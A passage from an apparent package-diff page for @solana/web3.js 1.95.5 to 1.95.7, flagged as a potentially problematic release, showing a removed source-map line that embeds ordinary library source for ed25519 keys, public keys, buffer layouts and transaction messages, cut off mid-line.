@solana/web3.js 1.95.5 → 1.95.7

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @solana/web3.js might be problematic. Click here for more details.

@@ -1 +1 @@
1
- {"version":3,"file":"index.browser.esm.js","sources":["../src/utils/ed25519.ts","../src/utils/to-buffer.ts","../src/utils/borsh-schema.ts","../src/publickey.ts","../src/account.ts","../src/bpf-loader-deprecated.ts","../src/transaction/constants.ts","../src/transaction/expiry-custom-errors.ts","../src/message/account-keys.ts","../src/layout.ts","../src/utils/shortvec-encoding.ts","../src/utils/assert.ts","../src/message/compiled-keys.ts","../src/utils/guarded-array-utils.ts","../src/message/legacy.ts","../src/message/v0.ts","../src/message/versioned.ts","../src/transaction/legacy.ts","../src/transaction/message.ts","../src/transaction/versioned.ts","../src/timing.ts","../src/sysvar.ts","../src/errors.ts","../src/utils/send-and-confirm-transaction.ts","../src/utils/sleep.ts","../src/instruction.ts","../src/fee-calculator.ts","../src/nonce-account.ts","../src/utils/bigint.ts","../src/programs/system.ts","../src/loader.ts","../src/bpf-loader.ts","../node_modules/.pnpm/fast-stable-stringify@1.0.0/node_modules/fast-stable-stringify/index.js","../src/epoch-schedule.ts","../src/__forks__/browser/fetch-impl.ts","../src/rpc-websocket.ts","../src/account-data.ts","../src/programs/address-lookup-table/state.ts","../src/utils/makeWebsocketUrl.ts","../src/connection.ts","../src/keypair.ts","../src/programs/address-lookup-table/index.ts","../src/programs/compute-budget.ts","../src/programs/ed25519.ts","../src/utils/secp256k1.ts","../src/programs/secp256k1.ts","../src/programs/stake.ts","../src/programs/vote.ts","../src/validator-info.ts","../src/vote-account.ts","../src/utils/cluster.ts","../src/utils/send-and-confirm-raw-transaction.ts","../src/index.ts"],"sourcesContent":["import {ed25519} from '@noble/curves/ed25519';\n\n/**\n * A 64 byte secret key, the first 32 bytes of which is the\n * private scalar and the last 32 bytes is the public key.\n * Read more: https://blog.mozilla.org/warner/2011/11/29/ed25519-keys/\n */\ntype Ed25519SecretKey = Uint8Array;\n\n/**\n * Ed25519 Keypair\n */\nexport interface Ed25519Keypair {\n publicKey: Uint8Array;\n secretKey: Ed25519SecretKey;\n}\n\nexport const generatePrivateKey = ed25519.utils.randomPrivateKey;\nexport const generateKeypair = (): Ed25519Keypair => {\n const privateScalar = ed25519.utils.randomPrivateKey();\n const publicKey = getPublicKey(privateScalar);\n const secretKey = new Uint8Array(64);\n secretKey.set(privateScalar);\n secretKey.set(publicKey, 32);\n return {\n publicKey,\n secretKey,\n };\n};\nexport const getPublicKey = ed25519.getPublicKey;\nexport function isOnCurve(publicKey: Uint8Array): boolean {\n try {\n ed25519.ExtendedPoint.fromHex(publicKey);\n return true;\n } catch {\n return false;\n }\n}\nexport const sign = (\n message: Parameters<typeof ed25519.sign>[0],\n secretKey: Ed25519SecretKey,\n) => ed25519.sign(message, secretKey.slice(0, 32));\nexport const verify = ed25519.verify;\n","import {Buffer} from 'buffer';\n\nexport const toBuffer = (arr: Buffer | Uint8Array | Array<number>): Buffer => {\n if (Buffer.isBuffer(arr)) {\n return arr;\n } else if (arr instanceof Uint8Array) {\n return Buffer.from(arr.buffer, arr.byteOffset, arr.byteLength);\n } else {\n return Buffer.from(arr);\n }\n};\n","import {Buffer} from 'buffer';\nimport {serialize, deserialize, deserializeUnchecked} from 'borsh';\n\n// Class wrapping a plain object\nexport class Struct {\n constructor(properties: any) {\n Object.assign(this, properties);\n }\n\n encode(): Buffer {\n return Buffer.from(serialize(SOLANA_SCHEMA, this));\n }\n\n static decode(data: Buffer): any {\n return deserialize(SOLANA_SCHEMA, this, data);\n }\n\n static decodeUnchecked(data: Buffer): any {\n return deserializeUnchecked(SOLANA_SCHEMA, this, data);\n }\n}\n\n// Class representing a Rust-compatible enum, since enums are only strings or\n// numbers in pure JS\nexport class Enum extends Struct {\n enum: string = '';\n constructor(properties: any) {\n super(properties);\n if (Object.keys(properties).length !== 1) {\n throw new Error('Enum can only take single value');\n }\n Object.keys(properties).map(key => {\n this.enum = key;\n });\n }\n}\n\nexport const SOLANA_SCHEMA: Map<Function, any> = new Map();\n","import BN from 'bn.js';\nimport bs58 from 'bs58';\nimport {Buffer} from 'buffer';\nimport {sha256} from '@noble/hashes/sha256';\n\nimport {isOnCurve} from './utils/ed25519';\nimport {Struct, SOLANA_SCHEMA} from './utils/borsh-schema';\nimport {toBuffer} from './utils/to-buffer';\n\n/**\n * Maximum length of derived pubkey seed\n */\nexport const MAX_SEED_LENGTH = 32;\n\n/**\n * Size of public key in bytes\n */\nexport const PUBLIC_KEY_LENGTH = 32;\n\n/**\n * Value to be converted into public key\n */\nexport type PublicKeyInitData =\n | number\n | string\n | Uint8Array\n | Array<number>\n | PublicKeyData;\n\n/**\n * JSON object representation of PublicKey class\n */\nexport type PublicKeyData = {\n /** @internal */\n _bn: BN;\n};\n\nfunction isPublicKeyData(value: PublicKeyInitData): value is PublicKeyData {\n return (value as PublicKeyData)._bn !== undefined;\n}\n\n// local counter used by PublicKey.unique()\nlet uniquePublicKeyCounter = 1;\n\n/**\n * A public key\n */\nexport class PublicKey extends Struct {\n /** @internal */\n _bn: BN;\n\n /**\n * Create a new PublicKey object\n * @param value ed25519 public key as buffer or base-58 encoded string\n */\n constructor(value: PublicKeyInitData) {\n super({});\n if (isPublicKeyData(value)) {\n this._bn = value._bn;\n } else {\n if (typeof value === 'string') {\n // assume base 58 encoding by default\n const decoded = bs58.decode(value);\n if (decoded.length != PUBLIC_KEY_LENGTH) {\n throw new Error(`Invalid public key input`);\n }\n this._bn = new BN(decoded);\n } else {\n this._bn = new BN(value);\n }\n\n if (this._bn.byteLength() > PUBLIC_KEY_LENGTH) {\n throw new Error(`Invalid public key input`);\n }\n }\n }\n\n /**\n * Returns a unique PublicKey for tests and benchmarks using a counter\n */\n static unique(): PublicKey {\n const key = new PublicKey(uniquePublicKeyCounter);\n uniquePublicKeyCounter += 1;\n return new PublicKey(key.toBuffer());\n }\n\n /**\n * Default public key value. The base58-encoded string representation is all ones (as seen below)\n * The underlying BN number is 32 bytes that are all zeros\n */\n static default: PublicKey = new PublicKey('11111111111111111111111111111111');\n\n /**\n * Checks if two publicKeys are equal\n */\n equals(publicKey: PublicKey): boolean {\n return this._bn.eq(publicKey._bn);\n }\n\n /**\n * Return the base-58 representation of the public key\n */\n toBase58(): string {\n return bs58.encode(this.toBytes());\n }\n\n toJSON(): string {\n return this.toBase58();\n }\n\n /**\n * Return the byte array representation of the public key in big endian\n */\n toBytes(): Uint8Array {\n const buf = this.toBuffer();\n return new Uint8Array(buf.buffer, buf.byteOffset, buf.byteLength);\n }\n\n /**\n * Return the Buffer representation of the public key in big endian\n */\n toBuffer(): Buffer {\n const b = this._bn.toArrayLike(Buffer);\n if (b.length === PUBLIC_KEY_LENGTH) {\n return b;\n }\n\n const zeroPad = Buffer.alloc(32);\n b.copy(zeroPad, 32 - b.length);\n return zeroPad;\n }\n\n get [Symbol.toStringTag](): string {\n return `PublicKey(${this.toString()})`;\n }\n\n /**\n * Return the base-58 representation of the public key\n */\n toString(): string {\n return this.toBase58();\n }\n\n /**\n * Derive a public key from another key, a seed, and a program ID.\n * The program ID will also serve as the owner of the public key, giving\n * it permission to write data to the account.\n */\n /* eslint-disable require-await */\n static async createWithSeed(\n fromPublicKey: PublicKey,\n seed: string,\n programId: PublicKey,\n ): Promise<PublicKey> {\n const buffer = Buffer.concat([\n fromPublicKey.toBuffer(),\n Buffer.from(seed),\n programId.toBuffer(),\n ]);\n const publicKeyBytes = sha256(buffer);\n return new PublicKey(publicKeyBytes);\n }\n\n /**\n * Derive a program address from seeds and a program ID.\n */\n /* eslint-disable require-await */\n static createProgramAddressSync(\n seeds: Array<Buffer | Uint8Array>,\n programId: PublicKey,\n ): PublicKey {\n let buffer = Buffer.alloc(0);\n seeds.forEach(function (seed) {\n if (seed.length > MAX_SEED_LENGTH) {\n throw new TypeError(`Max seed length exceeded`);\n }\n buffer = Buffer.concat([buffer, toBuffer(seed)]);\n });\n buffer = Buffer.concat([\n buffer,\n programId.toBuffer(),\n Buffer.from('ProgramDerivedAddress'),\n ]);\n const publicKeyBytes = sha256(buffer);\n if (isOnCurve(publicKeyBytes)) {\n throw new Error(`Invalid seeds, address must fall off the curve`);\n }\n return new PublicKey(publicKeyBytes);\n }\n\n /**\n * Async version of createProgramAddressSync\n * For backwards compatibility\n *\n * @deprecated Use {@link createProgramAddressSync} instead\n */\n /* eslint-disable require-await */\n static async createProgramAddress(\n seeds: Array<Buffer | Uint8Array>,\n programId: PublicKey,\n ): Promise<PublicKey> {\n return this.createProgramAddressSync(seeds, programId);\n }\n\n /**\n * Find a valid program address\n *\n * Valid program addresses must fall off the ed25519 curve. This function\n * iterates a nonce until it finds one that when combined with the seeds\n * results in a valid program address.\n */\n static findProgramAddressSync(\n seeds: Array<Buffer | Uint8Array>,\n programId: PublicKey,\n ): [PublicKey, number] {\n let nonce = 255;\n let address;\n while (nonce != 0) {\n try {\n const seedsWithNonce = seeds.concat(Buffer.from([nonce]));\n address = this.createProgramAddressSync(seedsWithNonce, programId);\n } catch (err) {\n if (err instanceof TypeError) {\n throw err;\n }\n nonce--;\n continue;\n }\n return [address, nonce];\n }\n throw new Error(`Unable to find a viable program address nonce`);\n }\n\n /**\n * Async version of findProgramAddressSync\n * For backwards compatibility\n *\n * @deprecated Use {@link findProgramAddressSync} instead\n */\n static async findProgramAddress(\n seeds: Array<Buffer | Uint8Array>,\n programId: PublicKey,\n ): Promise<[PublicKey, number]> {\n return this.findProgramAddressSync(seeds, programId);\n }\n\n /**\n * Check that a pubkey is on the ed25519 curve.\n */\n static isOnCurve(pubkeyData: PublicKeyInitData): boolean {\n const pubkey = new PublicKey(pubkeyData);\n return isOnCurve(pubkey.toBytes());\n }\n}\n\nSOLANA_SCHEMA.set(PublicKey, {\n kind: 'struct',\n fields: [['_bn', 'u256']],\n});\n","import {Buffer} from 'buffer';\n\nimport {generatePrivateKey, getPublicKey} from './utils/ed25519';\nimport {toBuffer} from './utils/to-buffer';\nimport {PublicKey} from './publickey';\n\n/**\n * An account key pair (public and secret keys).\n *\n * @deprecated since v1.10.0, please use {@link Keypair} instead.\n */\nexport class Account {\n /** @internal */\n private _publicKey: Buffer;\n /** @internal */\n private _secretKey: Buffer;\n\n /**\n * Create a new Account object\n *\n * If the secretKey parameter is not provided a new key pair is randomly\n * created for the account\n *\n * @param secretKey Secret key for the account\n */\n constructor(secretKey?: Uint8Array | Array<number>) {\n if (secretKey) {\n const secretKeyBuffer = toBuffer(secretKey);\n if (secretKey.length !== 64) {\n throw new Error('bad secret key size');\n }\n this._publicKey = secretKeyBuffer.slice(32, 64);\n this._secretKey = secretKeyBuffer.slice(0, 32);\n } else {\n this._secretKey = toBuffer(generatePrivateKey());\n this._publicKey = toBuffer(getPublicKey(this._secretKey));\n }\n }\n\n /**\n * The public key for this account\n */\n get publicKey(): PublicKey {\n return new PublicKey(this._publicKey);\n }\n\n /**\n * The **unencrypted** secret key for this account. The first 32 bytes\n * is the private scalar and the last 32 bytes is the public key.\n * Read more: https://blog.mozilla.org/warner/2011/11/29/ed25519-keys/\n */\n get secretKey(): Buffer {\n return Buffer.concat([this._secretKey, this._publicKey], 64);\n }\n}\n","import {PublicKey} from './publickey';\n\nexport const BPF_LOADER_DEPRECATED_PROGRAM_ID = new PublicKey(\n 'BPFLoader1111111111111111111111111111111111',\n);\n","/**\n * Maximum over-the-wire size of a Transaction\n *\n * 1280 is IPv6 minimum MTU\n * 40 bytes is the size of the IPv6 header\n * 8 bytes is the size of the fragment header\n */\nexport const PACKET_DATA_SIZE = 1280 - 40 - 8;\n\nexport const VERSION_PREFIX_MASK = 0x7f;\n\nexport const SIGNATURE_LENGTH_IN_BYTES = 64;\n","export class TransactionExpiredBlockheightExceededError extends Error {\n signature: string;\n\n constructor(signature: string) {\n super(`Signature ${signature} has expired: block height exceeded.`);\n this.signature = signature;\n }\n}\n\nObject.defineProperty(\n TransactionExpiredBlockheightExceededError.prototype,\n 'name',\n {\n value: 'TransactionExpiredBlockheightExceededError',\n },\n);\n\nexport class TransactionExpiredTimeoutError extends Error {\n signature: string;\n\n constructor(signature: string, timeoutSeconds: number) {\n super(\n `Transaction was not confirmed in ${timeoutSeconds.toFixed(\n 2,\n )} seconds. It is ` +\n 'unknown if it succeeded or failed. Check signature ' +\n `${signature} using the Solana Explorer or CLI tools.`,\n );\n this.signature = signature;\n }\n}\n\nObject.defineProperty(TransactionExpiredTimeoutError.prototype, 'name', {\n value: 'TransactionExpiredTimeoutError',\n});\n\nexport class TransactionExpiredNonceInvalidError extends Error {\n signature: string;\n\n constructor(signature: string) {\n super(`Signature ${signature} has expired: the nonce is no longer valid.`);\n this.signature = signature;\n }\n}\n\nObject.defineProperty(TransactionExpiredNonceInvalidError.prototype, 'name', {\n value: 'TransactionExpiredNonceInvalidError',\n});\n","import {LoadedAddresses} from '../connection';\nimport {PublicKey} from '../publickey';\nimport {TransactionInstruction} from '../transaction';\nimport {MessageCompiledInstruction} from './index';\n\nexport type AccountKeysFromLookups = LoadedAddresses;\n\nexport class MessageAccountKeys {\n staticAccountKeys: Array<PublicKey>;\n accountKeysFromLookups?: AccountKeysFromLookups;\n\n constructor(\n staticAccountKeys: Array<PublicKey>,\n accountKeysFromLookups?: AccountKeysFromLookups,\n ) {\n this.staticAccountKeys = staticAccountKeys;\n this.accountKeysFromLookups = accountKeysFromLookups;\n }\n\n keySegments(): Array<Array<PublicKey>> {\n const keySegments = [this.staticAccountKeys];\n if (this.accountKeysFromLookups) {\n keySegments.push(this.accountKeysFromLookups.writable);\n keySegments.push(this.accountKeysFromLookups.readonly);\n }\n return keySegments;\n }\n\n get(index: number): PublicKey | undefined {\n for (const keySegment of this.keySegments()) {\n if (index < keySegment.length) {\n return keySegment[index];\n } else {\n index -= keySegment.length;\n }\n }\n return;\n }\n\n get length(): number {\n return this.keySegments().flat().length;\n }\n\n compileInstructions(\n instructions: Array<TransactionInstruction>,\n ): Array<MessageCompiledInstruction> {\n // Bail early if any account indexes would overflow a u8\n const U8_MAX = 255;\n if (this.length > U8_MAX + 1) {\n throw new Error('Account index overflow encountered during compilation');\n }\n\n const keyIndexMap = new Map();\n this.keySegments()\n .flat()\n .forEach((key, index) => {\n keyIndexMap.set(key.toBase58(), index);\n });\n\n const findKeyIndex = (key: PublicKey) => {\n const keyIndex = keyIndexMap.get(key.toBase58());\n if (keyIndex === undefined)\n throw new Error(\n 'Encountered an unknown instruction account key during compilation',\n );\n return keyIndex;\n };\n\n return instructions.map((instruction): MessageCompiledInstruction => {\n return {\n programIdIndex: findKeyIndex(instruction.programId),\n accountKeyIndexes: instruction.keys.map(meta =>\n findKeyIndex(meta.pubkey),\n ),\n data: instruction.data,\n };\n });\n }\n}\n","import {Buffer} from 'buffer';\nimport * as BufferLayout from '@solana/buffer-layout';\n\nimport {VoteAuthorizeWithSeedArgs} from './programs/vote';\n\n/**\n * Layout for a public key\n */\nexport const publicKey = (property: string = 'publicKey') => {\n return BufferLayout.blob(32, property);\n};\n\n/**\n * Layout for a signature\n */\nexport const signature = (property: string = 'signature') => {\n return BufferLayout.blob(64, property);\n};\n\n/**\n * Layout for a 64bit unsigned value\n */\nexport const uint64 = (property: string = 'uint64') => {\n return BufferLayout.blob(8, property);\n};\n\ninterface IRustStringShim\n extends Omit<\n BufferLayout.Structure<\n Readonly<{\n length: number;\n lengthPadding: number;\n chars: Uint8Array;\n }>\n >,\n 'decode' | 'encode' | 'replicate'\n > {\n alloc: (str: string) => number;\n decode: (b: Uint8Array, offset?: number) => string;\n encode: (str: string, b: Uint8Array, offset?: number) => number;\n replicate: (property: string) => this;\n}\n\n/**\n * Layout for a Rust String type\n */\nexport const rustString = (\n property: string = 'string',\n): BufferLayout.Layout<string> => {\n const rsl = BufferLayout.struct<\n Readonly<{\n length?: number;\n lengthPadding?: number;\n chars: Uint8Array;\n }>\n >(\n [\n BufferLayout.u32('length'),\n BufferLayout.u32('lengthPadding'),\n BufferLayout.blob(BufferLayout.offset(BufferLayout.u32(), -8), 'chars'),\n ],\n property,\n );\n const _decode = rsl.decode.bind(rsl);\n const _encode = rsl.encode.bind(rsl);\n\n const rslShim = rsl as unknown as IRustStringShim;\n\n rslShim.decode = (b: Uint8Array, offset?: number) => {\n const data = _decode(b, offset);\n return data['chars'].toString();\n };\n\n rslShim.encode = (str: string, b: Uint8Array, offset?: number) => {\n const data = {\n chars: Buffer.from(str, 'utf8'),\n };\n return _encode(data, b, offset);\n };\n\n rslShim.alloc = (str: string) => {\n return (\n BufferLayout.u32().span +\n BufferLayout.u32().span +\n Buffer.from(str, 'utf8').length\n );\n };\n\n return rslShim;\n};\n\n/**\n * Layout for an Authorized object\n */\nexport const authorized = (property: string = 'authorized') => {\n return BufferLayout.struct<\n Readonly<{\n staker: Uint8Array;\n withdrawer: Uint8Array;\n }>\n >([publicKey('staker'), publicKey('withdrawer')], property);\n};\n\n/**\n * Layout for a Lockup object\n */\nexport const lockup = (property: string = 'lockup') => {\n return BufferLayout.struct<\n Readonly<{\n custodian: Uint8Array;\n epoch: number;\n unixTimestamp: number;\n }>\n >(\n [\n BufferLayout.ns64('unixTimestamp'),\n BufferLayout.ns64('epoch'),\n publicKey('custodian'),\n ],\n property,\n );\n};\n\n/**\n * Layout for a VoteInit object\n */\nexport const voteInit = (property: string = 'voteInit') => {\n return BufferLayout.struct<\n Readonly<{\n authorizedVoter: Uint8Array;\n authorizedWithdrawer: Uint8Array;\n commission: number;\n nodePubkey: Uint8Array;\n }>\n >(\n [\n publicKey('nodePubkey'),\n publicKey('authorizedVoter'),\n publicKey('authorizedWithdrawer'),\n BufferLayout.u8('commission'),\n ],\n property,\n );\n};\n\n/**\n * Layout for a VoteAuthorizeWithSeedArgs object\n */\nexport const voteAuthorizeWithSeedArgs = (\n property: string = 'voteAuthorizeWithSeedArgs',\n) => {\n return BufferLayout.struct<VoteAuthorizeWithSeedArgs>(\n [\n BufferLayout.u32('voteAuthorizationType'),\n publicKey('currentAuthorityDerivedKeyOwnerPubkey'),\n rustString('currentAuthorityDerivedKeySeed'),\n publicKey('newAuthorized'),\n ],\n property,\n );\n};\n\nexport function getAlloc(type: any, fields: any): number {\n const getItemAlloc = (item: any): number => {\n if (item.span >= 0) {\n return item.span;\n } else if (typeof item.alloc === 'function') {\n return item.alloc(fields[item.property]);\n } else if ('count' in item && 'elementLayout' in item) {\n const field = fields[item.property];\n if (Array.isArray(field)) {\n return field.length * getItemAlloc(item.elementLayout);\n }\n } else if ('fields' in item) {\n // This is a `Structure` whose size needs to be recursively measured.\n return getAlloc({layout: item}, fields[item.property]);\n }\n // Couldn't determine allocated size of layout\n return 0;\n };\n\n let alloc = 0;\n type.layout.fields.forEach((item: any) => {\n alloc += getItemAlloc(item);\n });\n\n return alloc;\n}\n","export function decodeLength(bytes: Array<number>): number {\n let len = 0;\n let size = 0;\n for (;;) {\n let elem = bytes.shift() as number;\n len |= (elem & 0x7f) << (size * 7);\n size += 1;\n if ((elem & 0x80) === 0) {\n break;\n }\n }\n return len;\n}\n\nexport function encodeLength(bytes: Array<number>, len: number) {\n let rem_len = len;\n for (;;) {\n let elem = rem_len & 0x7f;\n rem_len >>= 7;\n if (rem_len == 0) {\n bytes.push(elem);\n break;\n } else {\n elem |= 0x80;\n bytes.push(elem);\n }\n }\n}\n","export default function (\n condition: unknown,\n message?: string,\n): asserts condition {\n if (!condition) {\n throw new Error(message || 'Assertion failed');\n }\n}\n","import {MessageHeader, MessageAddressTableLookup} from './index';\nimport {AccountKeysFromLookups} from './account-keys';\nimport {AddressLookupTableAccount} from '../programs';\nimport {TransactionInstruction} from '../transaction';\nimport assert from '../utils/assert';\nimport {PublicKey} from '../publickey';\n\nexport type CompiledKeyMeta = {\n isSigner: boolean;\n isWritable: boolean;\n isInvoked: boolean;\n};\n\ntype KeyMetaMap = Map<string, CompiledKeyMeta>;\n\nexport class CompiledKeys {\n payer: PublicKey;\n keyMetaMap: KeyMetaMap;\n\n constructor(payer: PublicKey, keyMetaMap: KeyMetaMap) {\n this.payer = payer;\n this.keyMetaMap = keyMetaMap;\n }\n\n static compile(\n instructions: Array<TransactionInstruction>,\n payer: PublicKey,\n ): CompiledKeys {\n const keyMetaMap: KeyMetaMap = new Map();\n const getOrInsertDefault = (pubkey: PublicKey): CompiledKeyMeta => {\n const address = pubkey.toBase58();\n let keyMeta = keyMetaMap.get(address);\n if (keyMeta === undefined) {\n keyMeta = {\n isSigner: false,\n isWritable: false,\n isInvoked: false,\n };\n keyMetaMap.set(address, keyMeta);\n }\n return keyMeta;\n };\n\n const payerKeyMeta = getOrInsertDefault(payer);\n payerKeyMeta.isSigner = true;\n payerKeyMeta.isWritable = true;\n\n for (const ix of instructions) {\n getOrInsertDefault(ix.programId).isInvoked = true;\n for (const accountMeta of ix.keys) {\n const keyMeta = getOrInsertDefault(accountMeta.pubkey);\n keyMeta.isSigner ||= accountMeta.isSigner;\n keyMeta.isWritable ||= accountMeta.isWritable;\n }\n }\n\n return new CompiledKeys(payer, keyMetaMap);\n }\n\n getMessageComponents(): [MessageHeader, Array<PublicKey>] {\n const mapEntries = [...this.keyMetaMap.entries()];\n assert(mapEntries.length <= 256, 'Max static account keys length exceeded');\n\n const writableSigners = mapEntries.filter(\n ([, meta]) => meta.isSigner && meta.isWritable,\n );\n const readonlySigners = mapEntries.filter(\n ([, meta]) => meta.isSigner && !meta.isWritable,\n );\n const writableNonSigners = mapEntries.filter(\n ([, meta]) => !meta.isSigner && meta.isWritable,\n );\n const readonlyNonSigners = mapEntries.filter(\n ([, meta]) => !meta.isSigner && !meta.isWritable,\n );\n\n const header: MessageHeader = {\n numRequiredSignatures: writableSigners.length + readonlySigners.length,\n numReadonlySignedAccounts: readonlySigners.length,\n numReadonlyUnsignedAccounts: readonlyNonSigners.length,\n };\n\n // sanity checks\n {\n assert(\n writableSigners.length > 0,\n 'Expected at least one writable signer key',\n );\n const [payerAddress] = writableSigners[0];\n assert(\n payerAddress === this.payer.toBase58(),\n 'Expected first writable signer key to be the fee payer',\n );\n }\n\n const staticAccountKeys = [\n ...writableSigners.map(([address]) => new PublicKey(address)),\n ...readonlySigners.map(([address]) => new PublicKey(address)),\n ...writableNonSigners.map(([address]) => new PublicKey(address)),\n ...readonlyNonSigners.map(([address]) => new PublicKey(address)),\n ];\n\n return [header, staticAccountKeys];\n }\n\n extractTableLookup(\n lookupTable: AddressLookupTableAccount,\n ): [MessageAddressTableLookup, AccountKeysFromLookups] | undefined {\n const [writableIndexes, drainedWritableKeys] =\n this.drainKeysFoundInLookupTable(\n lookupTable.state.addresses,\n keyMeta =>\n !keyMeta.isSigner && !keyMeta.isInvoked && keyMeta.isWritable,\n );\n const [readonlyIndexes, drainedReadonlyKeys] =\n this.drainKeysFoundInLookupTable(\n lookupTable.state.addresses,\n keyMeta =>\n !keyMeta.isSigner && !keyMeta.isInvoked && !keyMeta.isWritable,\n );\n\n // Don't extract lookup if no keys were found\n if (writableIndexes.length === 0 && readonlyIndexes.length === 0) {\n return;\n }\n\n return [\n {\n accountKey: lookupTable.key,\n writableIndexes,\n readonlyIndexes,\n },\n {\n writable: drainedWritableKeys,\n readonly: drainedReadonlyKeys,\n },\n ];\n }\n\n /** @internal */\n private drainKeysFoundInLookupTable(\n lookupTableEntries: Array<PublicKey>,\n keyMetaFilter: (keyMeta: CompiledKeyMeta) => boolean,\n ): [Array<number>, Array<PublicKey>] {\n const lookupTableIndexes = new Array();\n const drainedKeys = new Array();\n\n for (const [address, keyMeta] of this.keyMetaMap.entries()) {\n if (keyMetaFilter(keyMeta)) {\n const key = new PublicKey(address);\n const lookupTableIndex = lookupTableEntries.findIndex(entry =>\n entry.equals(key),\n );\n if (lookupTableIndex >= 0) {\n assert(lookupTableIndex < 256, 'Max lookup table index exceeded');\n lookupTableIndexes.push(lookupTableIndex);\n drainedKeys.push(key);\n this.keyMetaMap.delete(address);\n }\n }\n }\n\n return [lookupTableIndexes, drainedKeys];\n }\n}\n","const END_OF_BUFFER_ERROR_MESSAGE = 'Reached end of buffer unexpectedly';\n\n/**\n * Delegates to `Array#shift`, but throws if the array is zero-length.\n */\nexport function guardedShift<T>(byteArray: T[]): T {\n if (byteArray.length === 0) {\n throw new Error(END_OF_BUFFER_ERROR_MESSAGE);\n }\n return byteArray.shift() as T;\n}\n\n/**\n * Delegates to `Array#splice`, but throws if the section being spliced out extends past the end of\n * the array.\n */\nexport function guardedSplice<T>(\n byteArray: T[],\n ...args:\n | [start: number, deleteCount?: number]\n | [start: number, deleteCount: number, ...items: T[]]\n): T[] {\n const [start] = args;\n if (\n args.length === 2 // Implies that `deleteCount` was supplied\n ? start + (args[1] ?? 0) > byteArray.length\n : start >= byteArray.length\n ) {\n throw new Error(END_OF_BUFFER_ERROR_MESSAGE);\n }\n return byteArray.splice(\n ...(args as Parameters<typeof Array.prototype.splice>),\n );\n}\n","import bs58 from 'bs58';\nimport {Buffer} from 'buffer';\nimport * as BufferLayout from '@solana/buffer-layout';\n\nimport {PublicKey, PUBLIC_KEY_LENGTH} from '../publickey';\nimport type {Blockhash} from '../blockhash';\nimport * as Layout from '../layout';\nimport {PACKET_DATA_SIZE, VERSION_PREFIX_MASK} from '../transaction/constants';\nimport * as shortvec from '../utils/shortvec-encoding';\nimport {toBuffer} from '../utils/to-buffer';\nimport {\n MessageHeader,\n MessageAddressTableLookup,\n MessageCompiledInstruction,\n} from './index';\nimport {TransactionInstruction} from '../transaction';\nimport {CompiledKeys} from './compiled-keys';\nimport {MessageAccountKeys} from './account-keys';\nimport {guardedShift, guardedSplice} from '../utils/guarded-array-utils';\n\n/**\n * An instruction to execute by a program\n *\n * @property {number} programIdIndex\n * @property {number[]} accounts\n * @property {string} data\n */\nexport type CompiledInstruction = {\n /** Index into the transaction keys array indicating the program account that executes this instruction */\n programIdIndex: number;\n /** Ordered indices into the transaction keys array indicating which accounts to pass to the program */\n accounts: number[];\n /** The program input data encoded as base 58 */\n data: string;\n};\n\n/**\n * Message constructor arguments\n */\nexport type MessageArgs = {\n /** The message header, identifying signed and read-only `accountKeys` */\n header: MessageHeader;\n /** All the account keys used by this transaction */\n accountKeys: string[] | PublicKey[];\n /** The hash of a recent ledger block */\n recentBlockhash: Blockhash;\n /** Instructions that will be executed in sequence and committed in one atomic transaction if all succeed. */\n instructions: CompiledInstruction[];\n};\n\nexport type CompileLegacyArgs = {\n payerKey: PublicKey;\n instructions: Array<TransactionInstruction>;\n recentBlockhash: Blockhash;\n};\n\n/**\n * List of instructions to be processed atomically\n */\nexport class Message {\n header: MessageHeader;\n accountKeys: PublicKey[];\n recentBlockhash: Blockhash;\n instructions: CompiledInstruction[];\n\n private indexToProgramIds: Map<number, PublicKey> = new Map<\n number,\n PublicKey\n >();\n\n constructor(args: MessageArgs) {\n this.header = args.header;\n this.accountKeys = args.accountKeys.map(account => new PublicKey(account));\n this.recentBlockhash = args.recentBlockhash;\n this.instructions = args.instructions;\n this.instructions.forEach(ix =>\n this.indexToProgramIds.set(\n ix.programIdIndex,\n this.accountKeys[ix.programIdIndex],\n ),\n );\n }\n\n get version(): 'legacy' {\n return 'legacy';\n }\n\n get staticAccountKeys(): Array<PublicKey> {\n return this.accountKeys;\n }\n\n get compiledInstructions(): Array<MessageCompiledInstruction> {\n return this.instructions.map(\n (ix): MessageCompiledInstruction => ({\n programIdIndex: ix.programIdIndex,\n accountKeyIndexes: ix.accounts,\n data: bs58.decode(ix.data),\n }),\n );\n }\n\n get addressTableLookups(): Array<MessageAddressTableLookup> {\n return [];\n }\n\n getAccountKeys(): MessageAccountKeys {\n return new MessageAccountKeys(this.staticAccountKeys);\n }\n\n static compile(args: CompileLegacyArgs): Message {\n const compiledKeys = CompiledKeys.compile(args.instructions, args.payerKey);\n const [header, staticAccountKeys] = compiledKeys.getMessageComponents();\n const accountKeys = new MessageAccountKeys(staticAccountKeys);\n const instructions = accountKeys.compileInstructions(args.instructions).map(\n (ix: MessageCompiledInstruction): CompiledInstruction => ({\n programIdIndex: ix.programIdIndex,\n accounts: ix.accountKeyIndexes,\n data: bs58.encode(ix.data),\n }),\n );\n return new Message({\n header,\n accountKeys: staticAccountKeys,\n recentBlockhash: args.recentBlockhash,\n instructions,\n });\n }\n\n isAccountSigner(index: number): boolean {\n return index < this.header.numRequiredSignatures;\n }\n\n isAccountWritable(index: number): boolean {\n const numSignedAccounts = this.header.numRequiredSignatures;\n if (index >= this.header.numRequiredSignatures) {\n const unsignedAccountIndex = index - numSignedAccounts;\n const numUnsignedAccounts = this.accountKeys.length - numSignedAccounts;\n const numWritableUnsignedAccounts =\n numUnsignedAccounts - this.header.numReadonlyUnsignedAccounts;\n return unsignedAccountIndex < numWritableUnsignedAccounts;\n } else {\n const numWritableSignedAccounts =\n numSignedAccounts - this.header.numReadonlySignedAccounts;\n return index < numWritableSignedAccounts;\n }\n }\n\n isProgramId(index: number): boolean {\n return this.indexToProgramIds.has(index);\n }\n\n programIds(): PublicKey[] {\n return [...this.indexToProgramIds.values()];\n }\n\n nonProgramIds(): PublicKey[] {\n return this.accountKeys.filter((_, index) => !this.isProgramId(index));\n }\n\n serialize(): Buffer {\n const numKeys = this.accountKeys.length;\n\n let keyCount: number[] = [];\n shortvec.encodeLength(keyCount, numKeys);\n\n const instructions = this.instructions.map(instruction => {\n const {accounts, programIdIndex} = instruction;\n const data = Array.from(bs58.decode(instruction.data));\n\n let keyIndicesCount: number[] = [];\n shortvec.encodeLength(keyIndicesCount, accounts.length);\n\n let dataCount: number[] = [];\n shortvec.encodeLength(dataCount, data.length);\n\n return {\n programIdIndex,\n keyIndicesCount: Buffer.from(keyIndicesCount),\n keyIndices: accounts,\n dataLength: 